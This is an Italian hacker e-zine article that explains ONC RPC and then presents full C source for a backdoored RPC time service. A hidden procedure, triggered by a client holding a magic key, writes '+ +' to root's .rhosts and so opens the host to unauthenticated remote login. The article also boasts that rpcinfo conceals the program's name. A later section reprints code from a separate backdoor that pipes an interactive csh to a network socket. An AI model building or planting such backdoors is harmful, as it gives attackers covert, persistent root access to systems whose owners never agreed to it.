============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ previous ]---[ index ]---[ next ]--------------------- ---------------[ COME MASTURBARE LE RPC E OTTENERE UNA BACKDOOR ]------------- -----------------------------------[ pIGpEN ]--------------------------------- GIORNATA: Un Sabato Mattina TEMPO: SOOLE INGREDIENTI: 3 Chupa Chups (cocacola, limone, arancia) 1 dentifriciata con AZ Tartar Control (prima dei chupa) PAUSA: Cacca (popo') VESTITI INDOSSATI: un paio di scarpe, un paio di jeans blu scuri, una camicia azzurrina chiara. PAIO DI CAPELLI INDOSSATI: i miei. SALUTi: Beavis & Butthead (2 fighi di dio), una ragazza cinese... (possano le nostre anime incontrarsi presto 8) ATTACHMENT: rpc-date.tgz (contiene i due binari) FRASETTA DEL GiORNO: "In another time's forgotten space Your eyes looked from your mother's face. Wildflower seed on the sand and stone May the four winds blow you safely home." Quello che vi presentero' in questo articolo e' un nuovo tipo di backdoor o meglio no, non sarebbe nuovo se fosse stato pensato prima :) Questo tipo di backdoor sfrutta un rpc program (potrebbe essere uno vostro oppure un servizio conosciuto del tipo statd ecc..) per introdurre al suo interno una funzione che ci permetta di avere accesso alla macchina. In realta' il problema dell'esecuzione remota di comandi via rpc e' ben noto a chi svolge programmazione tuttavia non e' mai stato visto dall'altro lato. Cos'e' un RPC? RPC (Remote Procedure Call) e' un particolare servizio introdotto dalla Sun Microsystem (almeno per quanto riguarda quella parte che impiega i protocolli UDP e TCP a livello di trasporto e che viene indicato sotto il termine ONC acronimo di Open Network Computing). Effettivamente questa non e' l'unica implementazione (ce ne sono 3), tuttavia discutero' basandomi su questa. Vediamo innanzitutto a cosa serve. In poche parole abbiamo due sistemi: il nostro locale e uno remoto. Attraverso un client per un determinato rpc, il nostro computer contatta quello remoto per eseguire una chiamata di procedura: cio' come viene spiegato in breve sull'ottimo libro di Richard W. Stevens sullo sviluppo del software di networking, equivale a permettere al nostro sistema di eseguire del codice su quello remoto. Quindi perche' non ficcarci una backdoor? C=CLIENT=noi S=SERVER=macchina bucata CLIENT --> chiama SERVER con una RPC settata con particolari parametri SERVER --> risponde dandoci un qualcosa Prima pero' di vedere come modificare il server di un servizio vediamo come funziona una connessione su servizio rpc. 1) Il client (C) chiama una procedura locale sul suo sistema nota come stub del client. Questa procedura servira' per standardizzare i pacchetti per il server (S): la loro costruzione prendera' il nome di marshaling. 2) Tali messaggi vengono passati a S utilizzando il protocollo UDP o TCP a seconda del servizio rpc. 3) S avvia una sua procedura di stub che permette di disassemblare tali pacchetti e di ricostruirli in un formato piu' congeniale al server e alla sua architettura. 4) La stub del server esegue la procedura richiesta dal client con i parametri passati dal client. 5) Il server restituisce il risultato di tale chiamata alla sua stub. 6) La stub del server manda il risultato della procedura al client con il protocollo di trasporto utilizzato. 7) La stub del client riceve il pacchetto/i contenenti i risultati della procedura visti come se fossero stati eseguiti sul client. Quello che si puo' fare e': modificare il server in modo che con il passaggio di particolari parametri su quel servizio rpc ci ritorna per esempio un .rhosts con "+ +". Questo ci metterebbe a disposizione una backdoor che NESSUN ALTRO POTREBBE UTILIZZARE senza il nostro programma client che sappia quali parametri passare. Per creare un qualsiasi servizio per rpc occorre usare il programma rpcgen, non e' mio compito spiegarvi come anche perche' e' banale. Vi forniro' invece i sorgenti (non necessitano dell'rpcgen ci ho gia' pensato io :) ed i binari. Nel programma client troverete la MAGIC_KEY che e' semplicemente la stringa da dare in piu' al programma client per chiamare la funzione che scrive sul server l'.rhosts . Per avviare il server: [pigpen@sp00f]:~$ rpc_serv & Es. di utilizzo del client: jgarcia -> MAGIC_KEY :) [pigpen@sp00f]:~$ rdate porcellino jgarcia Vi faccio notare che, conservando tutte le funzioni nel server, il servizio non sara' compromesso e quindi utilizzabile con i normali comandi del client abituale. Questo cmd scrivera' il .rhosts sulla dir root di porcellino. Come ho aggiunto la procedura per scrivere il .rhosts se ne possono mettere altre, spazio alla fantasia quindi... Una cosa simpatica da notare e' che quando fate rpcinfo sul server con la back dell'rpctime non vedete il nome del prog, ma solo il suo numero... ovviamente sara' visibile il processo dell'rpc se fate ps ma... se riuscite a nasconderlo saranno pochi gli admin che andranno a pensare ad una backdoor di questo tipo e se ve la troveranno sara' perche' hanno letto anche loro BFi ;P Ma dove sta il trucchetto? Nel caso dell'rpc-time e' semplice da capire, il prog sul server ha una funzione in piu': void * fuck_rhost_1_svc(void *argp, struct svc_req *rqstp) { static char* result; system("echo \"+ +\" >/$HOME/.rhosts"); return((void*) &result); } Cosa questa faccia mi sembra chiaro... compito del client sara' quindi quello di "risvegliare" tale funzione... un po' come i Grateful Dead che ogni tanto tornano con qualche concerto :)) Ed infatti il client si comporta cosi': if(TYPE==1) // TYPE=1 vuol dire scrivi .rhosts { result_3 = fuck_rhost_1((void*)&fuck_rhost_1_arg, clnt); if (result_3 == NULL) { // chiamata fallita clnt_perror(clnt, "call failed:"); } else printf("I will SuRvIvE !!!\n"); Non vado oltre a questo tipo di backdoor per evitare che qualcuno le possa usare (gia' questa funge) tuttavia vi accendo una lampadina o un cero :) dicendovi che e' possibile utilizzare cio' per quasi ogni cosa ad es. spoofarsi su un ip facendo fare la connessione al computer con l'rpc-server con le vostre funzioncine in piu'; e' possibile inoltre leggere file, scriverli (come il .rhosts) tutto con permessi root, mandare fake mail, sniffare... tutto questo ve lo lascio in via teorika anche perche' ci sto ancora lavorando sopra. Non dimenticate inoltre di utilizzare una programmazione a cazzo cosi' potete scrivervi pure il buffer overflow per il vostro rpc :) .... (pausa cacca) Non dandovi i sorgenti per questo, non mi ritengo nemmeno responsabile per sorgenti che avete scritto, usato o se il vostro cane e' morto di vecchiaia ecc... Vediamo invece i source dell'rdate modificato cominciando dalla definizione da far compilare con rpcgen (qui la metto a titolo di esempio perche' come ho gia' detto ho provveduto io alla sua generazione). /* date.x RPC HEADER - pIGpEN/s0ftpj99 */ program DATE_PROG { version DATE_VERS { long BIN_DATE(void) = 1; /* numero di procedura =1 */ string STR_DATE(long) = 2; /* numero di procedura =2 */ void FUCK_RHOST(void) = 3; /* numero di procedura =3 */ }=1; /* numero di versione =1 */ }= 0x31234567; /* numero di programma = 0x31234567 */ Qui potete notare che vengono definite le procedure del nostro programma a cui e' assegnato un numero univoco di identificazione (il numero di procedura). Notate inoltre il costrutto: program nome_prog { version nome_vers { // funzioni del nostro rpc program }=numero_della_versione; }=numero_identificativo_del_programma; Una volta utilizzato l'rpcgen su questo file si ottengono due sorgenti importanti per la costruzione del server e del client (in realta' utilizzando il parametro -a si potrebbero ottenere pure due "template" di esempio di questi): sono il date_svc.c (da compilare assieme al server) e il date_clnt.c (da compilare assieme al client). /* date_svc.c */ #include "date.h" #include <stdio.h> #include <stdlib.h>/* getenv, exit */ #include <rpc/pmap_clnt.h> /* for pmap_unset */ #include <string.h> /* strcmp */ #include <memory.h> #include <sys/socket.h> #include <netinet/in.h> #ifdef __STDC__ #define SIG_PF void(*)(int) #endif static void date_prog_1(struct svc_req *rqstp, register SVCXPRT *transp) { union { long str_date_1_arg; } argument; char *result; xdrproc_t xdr_argument, xdr_result; char *(*local)(char *, struct svc_req *); switch (rqstp->rq_proc) { case NULLPROC: (void) svc_sendreply(transp, (xdrproc_t) xdr_void, (char *)NULL); return; case BIN_DATE: xdr_argument = (xdrproc_t) xdr_void; xdr_result = (xdrproc_t) xdr_long; local = (char *(*)(char *, struct svc_req *)) bin_date_1_svc; break; case STR_DATE: xdr_argument = (xdrproc_t) xdr_long; xdr_result = (xdrproc_t) xdr_wrapstring; local = (char *(*)(char *, struct svc_req *)) str_date_1_svc; break; case FUCK_RHOST: xdr_argument = (xdrproc_t) xdr_void; xdr_result = (xdrproc_t) xdr_void; local = (char *(*)(char *, struct svc_req *)) fuck_rhost_1_svc; break; default: svcerr_noproc(transp); return; } (void) memset((char *)&argument, 0, sizeof (argument)); if (!svc_getargs(transp, xdr_argument, (caddr_t) &argument)) { svcerr_decode(transp); return; } result = (*local)((char *)&argument, rqstp); if (result != NULL && !svc_sendreply(transp, xdr_result, result)) { svcerr_systemerr(transp); } if (!svc_freeargs(transp, xdr_argument, (caddr_t) &argument)) { fprintf(stderr, "unable to free arguments"); exit(1); } return; } int main(int argc, char **argv) { register SVCXPRT *transp; (void) pmap_unset(DATE_PROG, DATE_VERS); transp = svcudp_create(RPC_ANYSOCK); if (transp == NULL) { fprintf(stderr, "cannot create udp service."); exit(1); } if (!svc_register(transp, DATE_PROG, DATE_VERS, date_prog_1, IPPROTO_UDP)) { fprintf(stderr, "unable to register (DATE_PROG, DATE_VERS, udp)."); exit(1); } transp = svctcp_create(RPC_ANYSOCK, 0, 0); if (transp == NULL) { fprintf(stderr, "cannot create tcp service."); exit(1); } if (!svc_register(transp, DATE_PROG, DATE_VERS, date_prog_1, IPPROTO_TCP)) { fprintf(stderr, "unable to register (DATE_PROG, DATE_VERS, tcp)."); exit(1); } svc_run(); fprintf(stderr, "svc_run returned"); exit(1); /* NOTREACHED */ } Notate in questo sorgente l'utilizzo della struct svc_req definita in rpc/svc.h in questo modo: /* * Service request */ struct svc_req { u_long rq_prog; /* service program number */ u_long rq_vers; /* service protocol version */ u_long rq_proc; /* the desired procedure */ struct opaque_auth rq_cred; /* raw creds from the wire */ caddr_t rq_clntcred; /* read only cooked cred */ SVCXPRT *rq_xprt; /* associated transport */ }; Per quanto riguarda l'importanza di questo sorgente... esso si occupa di registrare il nostro rpc (dovrei usare il femminile!) e di rispondere alle chiamate del client. Scheletrizzando :) il tutto questo source fa le seguenti cose: - Creazione del servizio con il relativo protocollo utilizzato (udp o tcp) attraverso le funzioni svc_udpcreate() e svc_tcpcreate() . - Registrazione del servizio con la svc_register() utilizzabile per entrambi i protocolli passando pero' come ultimo parametro IPPROTO_UDP o IPPROTO_TCP a seconda di cosa usiate. La registrazione avviene passando (tra l'altro) una funzione di gestione che si occupa del controllo della procedura chiamata attraverso rq_proc della struct svc_req definita, se questa e' uguale ad un numero di procedura che noi abbiamo definito nel file .x gestiamo la chiamata di questa procedura [la nostra funzione di gestione e' date_prog_1()] notate le tre coercizioni: local = (char *(*)(char *, struct svc_req *)) bin_date_1_svc; local = (char *(*)(char *, struct svc_req *)) str_date_1_svc; local = (char *(*)(char *, struct svc_req *)) fuck_rhost_1_svc; - Innalzamento :)) del servizio attraverso la svc_run() . Vi faccio notare che per ora non abbiamo ancora definito cosa fanno le varie procedure: questo avverra' in date_server.c che sara' compilato, con questo sorgente. Per quanto riguarda il client: /* date_clnt.c */ #include <memory.h> /* for memset */ #include "date.h" /* Default timeout can be changed using clnt_control() */ static struct timeval TIMEOUT = { 25, 0 }; long * bin_date_1(void *argp, CLIENT *clnt) { static long clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, BIN_DATE, xdr_void, argp, xdr_long, &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } char ** str_date_1(long *argp, CLIENT *clnt) { static char *clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, STR_DATE, xdr_long, argp, xdr_wrapstring, &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } void * fuck_rhost_1(void *argp, CLIENT *clnt) { static char clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, FUCK_RHOST, xdr_void, argp, xdr_void, &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return ((void *)&clnt_res); } Questo sorgente si occupa delle chiamate alle funzioni fatte dal date_client.c Notate che ad ogni funzione viene passato un tipo di dato (il parametro da mandare al server per la chiamata della procedura) e una struct di tipo CLIENT definita nella lib rpc/clnt.h in questo modo: struct CLIENT { AUTH *cl_auth; /* authenticator */ struct clnt_ops { enum clnt_stat (*cl_call) __P ((CLIENT *, u_long, xdrproc_t, caddr_t, xdrproc_t, caddr_t, struct timeval)); /* call remote procedure */ void (*cl_abort) __P ((void)); /* abort a call */ void (*cl_geterr) __P ((CLIENT *, struct rpc_err *)); /* get specific error code */ bool_t (*cl_freeres) __P ((CLIENT *, xdrproc_t, caddr_t)); /* frees results */ void (*cl_destroy) __P ((CLIENT *)); /* destroy this structure */ bool_t (*cl_control) __P ((CLIENT *, int, char *)); /* the ioctl() of rpc */ } *cl_ops; caddr_t cl_private; /* private stuff */ }; Tengo a dire che non ho testi su cui basarmi ed essendo farina del mio sacco rimane qualche punto interrogativo non tanto sulla struttura CLIENT quanto sul numero di parametri passabili ad una procedura remota... Possibile che sia uno solo?!? L'rpcgen fa la puttana a riguardo.... boh caso mai passate tutto in una var introducendo un delimitatore personale... Merita inoltre fare alcune considerazioni: -------------- AUTH *cl_auth; E' un puntatore ad una struttura definita come segue: struct AUTH { struct opaque_auth ah_cred; struct opaque_auth ah_verf; union des_block ah_key; struct auth_ops { void (*ah_nextverf) __P ((AUTH *)); int (*ah_marshal) __P ((AUTH *, XDR *)); /* nextverf & serialize */ int (*ah_validate) __P ((AUTH *, struct opaque_auth *)); /* validate verifier */ int (*ah_refresh) __P ((AUTH *)); /* refresh credentials */ void (*ah_destroy) __P ((AUTH *)); /* destroy this structure */ } *ah_ops; caddr_t ah_private; }; Notate che questa struct e' un po' "tirata", potrebbe trovare un'ottima implementazione con il concetto di classe del C++, soprattutto per quanto riguarda poi auth_ops... l'ultima cosuccia mi fa venire in mente un distruttore... ma quella della classe e' solo una mia considerazione: ammiro il C puro :* E' interessante notare la struttura interna auth_ops dove tra le varie verifiche c'e' quella sul marshaling (ritroviamo il concetto di standardizzazione del pacchetto che all'inizio avevo introdotto in modo teorico) Includo un po' di #define per chi si stia chiedendo quali tipi di autenticazione sono possibili: #define AUTH_NONE 0 /* no authentication */ #define AUTH_NULL 0 /* backward compatibility */ #define AUTH_UNIX 1 /* unix style (uid, gids) */ #define AUTH_SYS 1 /* unix style (uid, gids) */ #define AUTH_SHORT 2 /* short hand unix style */ #define AUTH_DES 3 /* des style (encrypted timestamps) */ Il tutto si commenta da solo non mi soffermo sui sistemi di autenticazione. ---------------------------- struct clnt_ops e cl_private Qui ho poco da dire valgono ancora le considerazioni sul C++ ... Tutte cose gia' dette... Naturalmente ci sara' pure il date.h : /* date.h */ #ifndef _DATE_H_RPCGEN #define _DATE_H_RPCGEN #include <rpc/rpc.h> #define DATE_PROG ((u_long)0x31234567) // NUMERO DI PROGRAMMA #define DATE_VERS ((u_long)1) // VERSIONE #ifdef __cplusplus #define BIN_DATE ((u_long)1) extern "C" long * bin_date_1(void *, CLIENT *); extern "C" long * bin_date_1_svc(void *, struct svc_req *); #define STR_DATE ((u_long)2) extern "C" char ** str_date_1(long *, CLIENT *); extern "C" char ** str_date_1_svc(long *, struct svc_req *); #define FUCK_RHOST ((u_long)3) extern "C" void * fuck_rhost_1(void *, CLIENT *); extern "C" void * fuck_rhost_1_svc(void *, struct svc_req *); #elif __STDC__ #define BIN_DATE ((u_long)1) extern long * bin_date_1(void *, CLIENT *); extern long * bin_date_1_svc(void *, struct svc_req *); #define STR_DATE ((u_long)2) extern char ** str_date_1(long *, CLIENT *); extern char ** str_date_1_svc(long *, struct svc_req *); #define FUCK_RHOST ((u_long)3) extern void * fuck_rhost_1(void *, CLIENT *); extern void * fuck_rhost_1_svc(void *, struct svc_req *); #else /* Old Style C */ #define BIN_DATE ((u_long)1) // NUMERO DI PROCEDURA extern long * bin_date_1(); extern long * bin_date_1_svc(); #define STR_DATE ((u_long)2) // NUMERO DI PROCEDURA extern char ** str_date_1(); extern char ** str_date_1_svc(); #define FUCK_RHOST ((u_long)3) // NUMERO DI PROCEDURA extern void * fuck_rhost_1(); extern void * fuck_rhost_1_svc(); #endif /* Old Style C */ #endif /* !_DATE_H_RPCGEN */ A parte le varie cosette vi faccio notare che fine ha fatto il date.x : ora sappiamo che nello switch del date_svc.c i vari controlli sono delle costanti definite come unsigned long (tramite coercizione)... Questo .h in pratica sostituisce completamente il .x E arriviamo quindi al vero client e al server: /* date_server.c RPC SERVER There is a new function ;) pIGpEN/s0ftpj */ #include "date.h" long * bin_date_1_svc(void *argp, struct svc_req *rqstp) { static long timeval; long time(); timeval=time((long *) 0); return(&timeval); } char ** str_date_1_svc(long *argp, struct svc_req *rqstp) { static char * ptr; char *ctime(); ptr=ctime(argp); return(&ptr); } void * fuck_rhost_1_svc(void *argp, struct svc_req *rqstp) { static char* result; system("echo \"+ +\" >/$HOME/.rhosts"); return((void*) &result); } ------- Altro non essere che la gestione delle varie procedure :) Tutti i parametri che passate devono essere dichiarati come static e ritornati... --------- /* date_client.c Simple Example of Rpc Backdoor Idea and Code by pIGpEN/s0ftpj Dedicated to (or better Deadicated to :) Jerry Garcia - A Great Man! Tested on 192.168.1.2 -> xxxx.cameretta.pig ( xxxx = a cool baby ) Greets go to : Crunchman -> a rave man :) my old contacts and new scenes... s0ftpr0ject & BadLands -> they're great 8) Ixxxxl ->> I hate that type of job Drow King -> a man with a nice girl but he doesn't know that :( Coded for Butchered From Inside #6 in a rainy day :( .. summer is coming 8) This code is limited to .rhosts function, so you don't make up shit with it */ #include "date.h" #define MAGIC_KEY "jgarcia" void date_prog_1( char* host, int TYPE ) { CLIENT *clnt; long *result_1; char* bin_date_1_arg; char * *result_2; long str_date_1_arg; void *result_3; char* fuck_rhost_1_arg; clnt = clnt_create(host, DATE_PROG, DATE_VERS, "udp"); if (clnt == NULL) { clnt_pcreateerror(host); exit(1); } result_1 = bin_date_1((void*)&bin_date_1_arg, clnt); if (result_1 == NULL) { clnt_perror(clnt, "call failed:"); }else printf("Host time %s = DEADH0UR :))\n",host); result_2 = str_date_1(&str_date_1_arg, clnt); if (result_2 == NULL) { clnt_perror(clnt, "call failed:"); }else printf("Host time %s = DEADH0UR :))\n",host); if(TYPE==1) { result_3 = fuck_rhost_1((void*)&fuck_rhost_1_arg, clnt); if (result_3 == NULL) { clnt_perror(clnt, "call failed:"); } else printf("I will SuRvIvE !!!\n"); }//endif clnt_destroy( clnt ); } main( int argc, char* argv[] ) { char *host; if(argc < 2) { printf("\033[0;36m- RPC TIME BACKDOOR - \033[0;39m\n"); printf("This is your personal client :)\n\n"); printf("usage: %s hostname\n", argv[0]); exit(1); } if(argc>2 && strcmp(argv[2],MAGIC_KEY)==0) date_prog_1( host, 1); else date_prog_1( host, 0 ); } ---------- snip ---------- Banalissimo client... Se siete arrivati fino a qui sapete cosa fa... e quindi mi risparmiate la spiegazione, thx :) Detto questo non mi resta che avvertirvi di qualche piccolo warning nella compilazione del client (avviene anche con il codice generato con rpcgen -a) che non provoca nessun tipo di problema. ESECUZi0NE Di UNA SHELL Qualcuno di voi potrebbe chiedersi perche' non eseguire una shell invece di fare una semi-backdoor... in effetti questo e' possibile, ma l'implementazione la lascio a voi... naturalmente occorre che la shell sia collegata al client.. un modo di farlo e' quello utilizzato nel programma Poor Man Access v.2 scaricabile da rootshell... il mio compito era solo dimostrarvi cosa sia possibile fare, non quello di farvi utilizzare questi metodi... cmq per i curiosi basta adattare questo codice che vi presento: // snippato da pmad.c int do_csh() { /* first create some pipes. next fire up csh in prompt mode (-i) doing its io from the pipes. then fork off another child that sets the prompt to "PMA> " and then endlessly reads from the shell and writes to the socket. */ char sbuf[100]; int pid; pid = getpid(); sprintf(iname, "inpipe%d", pid); sprintf(oname, "outpipe%d", pid); sprintf(sbuf, "/usr/sbin/mknod %s p; /usr/sbin/mknod %s p", iname, oname); system(sbuf); pipin = open(iname, O_RDWR, 0); sprintf(sbuf, "csh -i <%s >%s 2>&1 &", iname, oname); system(sbuf); in = open(oname, O_RDONLY, 0); unlink(iname); unlink(oname); if ((pid = fork()) < 0) exit(1); else if (pid > 0) return(pid); read(in, buf, sizeof(buf)); strcpy(buf, "set prompt='PMA> '\n"); write(pipin, buf, strlen(buf)); sleep(1); read(in, buf, sizeof(buf)); strcpy(buf, "setenv TERM vt100;setenv PATH /usr/bin:/usr/sbin:/etc;"); strcat(buf, "setenv EDITOR '/usr/bin/vi -w24'\n"); write(pipin, buf, strlen(buf)); while(1) getoutput(); } int getoutput() { cnt = read(in, buf, sizeof(buf)); tcp_send(newsockfd, buf, cnt); } int seewhat() { /*dont let 'em do anything util they type in the dumb password*/ if (passok) { docmd(); return; } if (!strcmp(buf, passwd)) passok = (int) strcpy(buf, "echo ok\n"); else strcpy(buf, "echo nope\n"); write(pipin, buf, strlen(buf)); } int docmd() { char dir[100]; if (!memcmp(buf, "cd ", 3)) /*try to go where shell does*/ { memset(dir, '\0', sizeof(dir)); memcpy(dir, &buf[3], strlen(buf)-4); chdir(dir); } if (!memcmp(buf, "pmaput ", 7) || !memcmp(buf, "pmaget ", 7)) dopg(); write(pipin, buf, strlen(buf)); } Queste sono le funzioni principali per la risoluzione del problema: vi consiglio cmq di prendervi l'intero tgz cosi' tutto sara' piu' chiaro... (daii si tratta solo di implementare una pipe e qualche cazzatina... susu!! :) state attenti soltanto ai socks... leggetevi quello che e' scritto su rpc/clnt.h e rpc/svc.h , per il resto sono le solite cosette... Miii e' tardi, vi saluto... I WILL SURVIVE! Bauz pIGpEN --------------------[ previous ]---[ index ]---[ next ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================